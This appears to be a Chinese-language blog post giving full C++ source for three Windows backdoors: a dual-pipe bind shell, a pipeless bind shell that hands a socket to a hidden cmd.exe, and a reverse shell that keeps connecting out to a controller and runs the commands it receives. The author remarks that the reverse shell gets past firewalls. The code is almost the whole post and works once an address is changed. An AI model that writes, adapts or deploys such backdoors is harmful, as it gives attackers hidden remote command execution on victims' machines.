Windows下管道型后门及反向shell编写与总结(C++)

1. 双管道被动连接型后门


#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <urlmon.h>
#include <WinInet.h>
#include <ctime>
#define CMD_LINE_LEN 512
#define RECV_BUF_LEN 4096
using namespace std;

#pragma comment(lib, "WinInet.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "ws2_32.lib")

BOOL fExit = FALSE;

struct ThreadInfoNode
{
	SOCKET hSock;
	HANDLE hPipe;
};


int SndMsg(SOCKET hSock, char *szBuf, int nSize)
{
	int iOffset = 0;
	int iCurr = 0;

	if (INVALID_SOCKET == hSock ||
		NULL == szBuf ||
		nSize <= 0)
	{
		return(-1);
	}
	
	do
	{
		iCurr = send(hSock, szBuf + iOffset, nSize, 0);
		if (iCurr == SOCKET_ERROR)
		{
			break;
		}
		iOffset += iCurr;
		nSize -= iCurr;
	} while (nSize > 0);

	return(iOffset);
}

// 该线程用于从客户端接收命令并将其写入hWritePipe1
DWORD WINAPI ThreadInputProc(
	LPVOID lpThreadParameter
	)
{
	ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
	HANDLE hPipe = stNode.hPipe;
	SOCKET hSock = stNode.hSock;
	char szCmdLine[CMD_LINE_LEN] = { 0 };
	int iRet = 0;
	DWORD dwWritten = 0;
	BOOL fOk = FALSE;

	while (!fExit)
	{
		RtlZeroMemory(szCmdLine, CMD_LINE_LEN);
		iRet = recv(hSock, szCmdLine, CMD_LINE_LEN, 0);
		if (iRet > 0 && SOCKET_ERROR != iRet)
		{
			if (!_stricmp("exit\n", szCmdLine))
			{
				fExit = TRUE;
			}
			WriteFile(hPipe, szCmdLine, iRet, &dwWritten, NULL);
		}
		else
		{
			WriteFile(hPipe, "exit\n", sizeof("exit\n"), &dwWritten, NULL);
			fExit = TRUE;
			break;
		}
		Sleep(50);
	}

	return(0);
}

// 该线程用于从cmd进程中获取结果并将其传送到远端
DWORD WINAPI ThreadOuputProc(
	LPVOID lpThreadParameter
)
{
	ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
	HANDLE hPipe = stNode.hPipe;
	SOCKET hSock = stNode.hSock;
	char szBuf[RECV_BUF_LEN] = { 0 };
	DWORD dwReaded = 0;
	DWORD dwTotalAvail = 0;
	BOOL fOk = FALSE;

	while (!fExit)
	{
		RtlZeroMemory(szBuf, RECV_BUF_LEN);
		dwTotalAvail = 0;
		fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
		if (fOk && dwTotalAvail > 0)
		{
			fOk = ReadFile(hPipe, szBuf, RECV_BUF_LEN, &dwReaded, NULL);
			if (fOk && dwReaded > 0)
			{
				SndMsg(hSock, szBuf, dwReaded);
			}
			Sleep(50);
		}
		
	}

	return(0);
}

BOOL StartShell(const char *pcszIP, UINT uiPort)
{
	BOOL fRet = FALSE;
	SOCKADDR_IN stSockAddr = { 0 };
	SOCKADDR_IN stClntSockAddr = { 0 };
	SOCKET hSock = INVALID_SOCKET;
	SOCKET hClntSock = INVALID_SOCKET;
	HANDLE hProcess = NULL;
	HANDLE hReadPipe0 = NULL, hWritePipe0 = NULL;
	HANDLE hWritePipe1 = NULL, hReadPipe1 = NULL;
	HANDLE hThreadInput = NULL, hThreadOutput = NULL;
	HANDLE hThreads[2] = { 0 };
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	SECURITY_ATTRIBUTES sa = { 0 };

	int iAddrLen = sizeof(stClntSockAddr);
	int iRet = 0;
	WSADATA wsaData = { 0 };

	__try
	{
		WSAStartup(MAKEWORD(2, 2), &wsaData);

		hSock = socket(AF_INET, SOCK_STREAM, 0);
		if (INVALID_SOCKET == hSock)
		{
			__leave;
		}
		stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);
		stSockAddr.sin_port = htons(uiPort);
		stSockAddr.sin_family = AF_INET;

		iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
		if (SOCKET_ERROR == iRet)
		{
			__leave;
		}
		iRet = listen(hSock, 5);
		if (SOCKET_ERROR == iRet)
		{
			__leave;
		}

		hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iAddrLen);
		if (INVALID_SOCKET == hClntSock)
		{
			__leave;
		}

		sa.bInheritHandle = TRUE;
		sa.lpSecurityDescriptor = NULL;
		sa.nLength = sizeof(sa);

		// 创建2条管道
		if (!CreatePipe(&hReadPipe0, &hWritePipe0, &sa, 0) || 
			!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0))
		{
			__leave;
		}

		// cmd产生的结果写入pipe0的写端, 木马服务端把远程服务器的命令写入pipe1的写端
		// cmd从pipe1的读端接收命令,木马服务端从pipe0的读端读取命令
		si.cb = sizeof(STARTUPINFO);
		GetStartupInfo(&si);
		si.hStdError = si.hStdOutput = hWritePipe0;
		si.hStdInput = hReadPipe1;
		si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		si.wShowWindow = SW_HIDE;

		char szCmdLine[MAX_PATH] = { 0 };
		char szBuf[MAX_PATH] = { 0 };

		// 获取CMD路径
		iRet = ExpandEnvironmentStringsA("%COMSPEC%", szCmdLine, MAX_PATH);
		if (!iRet)
		{
			GetSystemDirectory(szBuf, MAX_PATH);
			strcpy_s(szCmdLine, sizeof(szCmdLine), szBuf);
			strcpy_s(szCmdLine, sizeof(szCmdLine), "\\cmd.exe");
		}
		// 创建CMD进程
		fRet = CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
		if (!fRet)
		{
			__leave;
		}
		ThreadInfoNode stNodeInput = { hClntSock, hWritePipe1 };
		// 该线程用于从客户端接收命令并将其写入hWritePipe1
		hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &stNodeInput, 0, NULL);
		if (NULL == hThreadInput)
		{
			__leave;
		}
		ThreadInfoNode stNodeOutput = { hClntSock, hReadPipe0 };
		// 该线程用于从cmd进程中获取结果并将其传送到远端
		hThreadOutput = CreateThread(NULL, 0, ThreadOuputProc, &stNodeOutput, 0, NULL);
		if (NULL == hThreadOutput)
		{
			__leave;
		}

		// 阻塞到这,直到线程结束
		hThreads[0] = hThreadInput;
		hThreads[1] = hThreadOutput;
		WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
	}
	__finally
	{
		WSACleanup();
		if (INVALID_SOCKET != hSock)
		{
			closesocket(hSock);
			hSock = INVALID_SOCKET;
		}
		if (INVALID_SOCKET != hClntSock)
		{
			closesocket(hSock);
			hSock = INVALID_SOCKET;
		}
		if (NULL != hProcess)
		{
			CloseHandle(hProcess);
			hProcess = NULL;
		}
		if (NULL != hThreads[0])
		{
			CloseHandle(hThreads[0]);
			hThreads[0] = NULL;
		}
		if (NULL != hThreads[1])
		{
			CloseHandle(hThreads[1]);
			hThreads[1] = NULL;
		}
		if (NULL != hReadPipe0)
		{
			CloseHandle(hReadPipe0);
			hReadPipe0 = NULL;
		}
		if (NULL != hReadPipe1)
		{
			CloseHandle(hReadPipe1);
			hReadPipe1 = NULL;
		}
		if (NULL != hWritePipe0)
		{
			CloseHandle(hWritePipe0);
			hWritePipe0 = NULL;
		}
		if (NULL != hWritePipe1)
		{
			CloseHandle(hWritePipe1);
			hWritePipe1 = NULL;
		}
	}

	return(TRUE);
}

int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPTSTR    lpCmdLine,
	int       nCmdShow)
{
	StartShell("127.0.0.1", 8880);

	return 0;
}

2. 单管道被动连接型后门


这种后门的方式与反弹shell的思路是一样,就不实现了。其特点是节省了一个管道。但消耗了更多资源并且无法执行类似cd之类切换目录的操作。主要思想是每次传来的命令就创建一个cmd.exe执行,该cmd进程执行完命令后就消亡。这样cd之类的命令就无法执行了,因为cmd进程都消亡了cd也没有意义。

3. 无管道被动连接型后门


#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <ctime>
#define CMD_LINE_LEN 512
#define RECV_BUF_LEN 4096
using namespace std;

#pragma comment(lib, "ws2_32.lib")



BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
	int iRet = 0;

	if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
	{
		return(FALSE);
	}
	iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
	if (!iRet)
	{
		GetSystemDirectory(pszResultBuf, nSize);
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
	}
	iRet = strlen(pcszCmd);
	if (iRet)
	{
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
	}

	return(TRUE);
}

BOOL StartShell(UINT uiPort)
{
	WSADATA wsaData = { 0 };
	int iRet = 0;
	SOCKET hSock = INVALID_SOCKET;
	SOCKET hClntSock = INVALID_SOCKET;
	SOCKADDR_IN stClntSockAddr = { 0 };
	SOCKADDR_IN stSockAddr = { 0 };
	int iSizeOfSockAddr = sizeof(stClntSockAddr);
	char szCmdLine[CMD_LINE_LEN] = { 0 };
	BOOL fOk = FALSE;
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFO si = { 0 };

	do
	{
		iRet = WSAStartup(MAKEWORD(2, 2), &wsaData);
		if (SOCKET_ERROR == iRet)
		{
			return(FALSE);
		}
		hSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
		if (INVALID_SOCKET == hSock)
		{
			break;
		}
		stSockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
		stSockAddr.sin_port = htons(uiPort);
		stSockAddr.sin_family = AF_INET;

		iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
		if (SOCKET_ERROR == iRet)
		{
			break;
		}
		iRet = listen(hSock, 5);
		if (SOCKET_ERROR == iRet)
		{
			break;
		}

		hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iSizeOfSockAddr);
		if (INVALID_SOCKET == hClntSock)
		{
			break;
		}

		si.cb = sizeof(STARTUPINFO);
		GetStartupInfo(&si);
		si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)hClntSock;
		si.wShowWindow = SW_HIDE;

		if (!GetCmdPath(szCmdLine, CMD_LINE_LEN))
		{
			break;
		}
		if (!CreateProcessA(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
		{
			break;
		}
		WaitForSingleObject(pi.hProcess, INFINITE);
		fOk = TRUE;

	} while (FALSE);

	if (NULL != pi.hThread)
	{
		CloseHandle(pi.hThread);
	}
	if (NULL != pi.hProcess)
	{
		CloseHandle(pi.hProcess);
	}
	if (INVALID_SOCKET != hSock)
	{
		closesocket(hSock);
		hSock = INVALID_SOCKET;
	}
	if (INVALID_SOCKET != hClntSock)
	{
		closesocket(hClntSock);
		hClntSock = INVALID_SOCKET;
	}
	WSACleanup();

	return(fOk);
}

int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPTSTR    lpCmdLine,
	int       nCmdShow)
{
	StartShell(5555);

	return 0;
}

4. 单管道主动型后门(反弹Shell)


这个后门的最大特点是控方作为服务端而被控端为客户端, 由于是由被控端主动请求连接主控端,所以不会有防火墙阻止之类的问题   

#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <cstring>
#define CMD_LEN_BUF 512
#define	RECV_LEN_BUF 4096

#pragma comment(lib, "ws2_32.lib")

using namespace std;

BOOL fExit = FALSE;

struct ThreadInfoNode 
{
	HANDLE hPipe;
	SOCKET hSock;
};

DWORD WINAPI RecvResultAndSendToServer(LPVOID lpThreadParameter)
{
	ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
	HANDLE hPipe = stNode.hPipe;
	SOCKET hSocket = stNode.hSock;
	char szBuf[RECV_LEN_BUF] = {0};
	int iRet = 0;
	DWORD dwTotalAvail = 0;
	BOOL fOk = FALSE;
	DWORD dwReaded = 0;

	while (!fExit)
	{
		fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
		if (fOk && dwTotalAvail > 0)
		{
			fOk = ReadFile(hPipe, szBuf, RECV_LEN_BUF, &dwReaded, NULL);
			if (fOk && dwReaded > 0)
			{
				int iCurr = 0;
				int iOffset = 0;
				do 
				{
					iCurr = send(hSocket, szBuf + iOffset, dwReaded, 0);
					if (!iCurr || iCurr == SOCKET_ERROR)
					{
						fExit = TRUE;
						break;
					}
					iOffset += iCurr;
					dwReaded -= iCurr;
					Sleep(50);
				} while (dwReaded > 0);
			}
			RtlZeroMemory(szBuf, RECV_LEN_BUF);
			
		}
	}
	
	return(0);
}

BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
	int iRet = 0;

	if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
	{
		return(FALSE);
	}
	iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
	if (!iRet)
	{
		GetSystemDirectory(pszResultBuf, nSize);
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
	}
	iRet = strlen(pcszCmd);
	if (iRet)
	{
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
	}

	return(TRUE);
}


BOOL StartShell(const char *pcszIP, UINT uiPort)
{
	SOCKET hSock = INVALID_SOCKET;
	SOCKADDR_IN stSockAddr = {0};
	HANDLE hReadPipe = NULL, hWritePipe = NULL;
	HANDLE hThread = NULL;
	SECURITY_ATTRIBUTES sa = {0};
	STARTUPINFO si = {0};
	PROCESS_INFORMATION pi = {0};
	WSADATA stData = {0};
	int iRet = 0;

	if (NULL == pcszIP)
	{
		return(FALSE);
	}
	__try 
	{
		if (SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &stData))
		{
			return(FALSE);
		}
		hSock = socket(AF_INET, SOCK_STREAM, 0);
		if (INVALID_SOCKET == hSock)
		{
			__leave;
		}
		stSockAddr.sin_family = AF_INET;
		stSockAddr.sin_port = htons(uiPort);
		stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);

		// connect one time every 0.5 min interval 
		do 
		{
			iRet = connect(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
			Sleep(500);
		} while (SOCKET_ERROR == iRet);
		sa.bInheritHandle = TRUE;
		sa.lpSecurityDescriptor = NULL;
		sa.nLength = sizeof(sa);
		if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
		{
			__leave;
		}
		si.cb = sizeof(STARTUPINFO);
		GetStartupInfo(&si);
		si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		si.wShowWindow = SW_HIDE;
		si.hStdError = si.hStdOutput = hWritePipe;
		
		ThreadInfoNode stNode = {hReadPipe, hSock};

		hThread = CreateThread(NULL, 0, RecvResultAndSendToServer, &stNode, 0, NULL);
		if (NULL == hThread)
		{
			__leave;
		}
		char szCmdLine[CMD_LEN_BUF] = {0};
		char szCmdBuf[CMD_LEN_BUF] = {0};
		do 
		{
			// get command from remote server
			iRet = recv(hSock, szCmdBuf, CMD_LEN_BUF, 0);
			if (!iRet || SOCKET_ERROR == iRet)
			{
				break;
			}
			// build command
			if (!GetCmdPath(szCmdLine, CMD_LEN_BUF, szCmdBuf))
			{
				continue;
			}
			// create cmd.exe process to execute command
			if (!CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
			{
				continue;
			}
			// if recieve command "exit", terminate process and sub-thread
			if (strstr(szCmdBuf, "exit\n"))
			{
				break;
			}
			RtlZeroMemory(szCmdBuf, CMD_LEN_BUF);
			Sleep(100);
		} while (TRUE);
		fExit = TRUE;
		WaitForSingleObject(hThread, INFINITE);
	}
	__finally 
	{
		if (NULL != hReadPipe)
		{
			CloseHandle(hReadPipe);
			hReadPipe = NULL;
		}
		if (NULL != hWritePipe)
		{
			CloseHandle(hWritePipe);
			hWritePipe = NULL;
		}
		if (INVALID_SOCKET != hSock)
		{
			closesocket(hSock);
			hSock = INVALID_SOCKET;
		}
		if (NULL != pi.hProcess)
		{
			CloseHandle(pi.hProcess);
			pi.hProcess = NULL;
		}
		if (NULL != pi.hThread)
		{
			CloseHandle(pi.hThread);
			pi.hThread = NULL;
		}
	}

	return(TRUE);
}

int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
	StartShell("127.0.0.1", 9999);

	return(0);
}

(完)

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值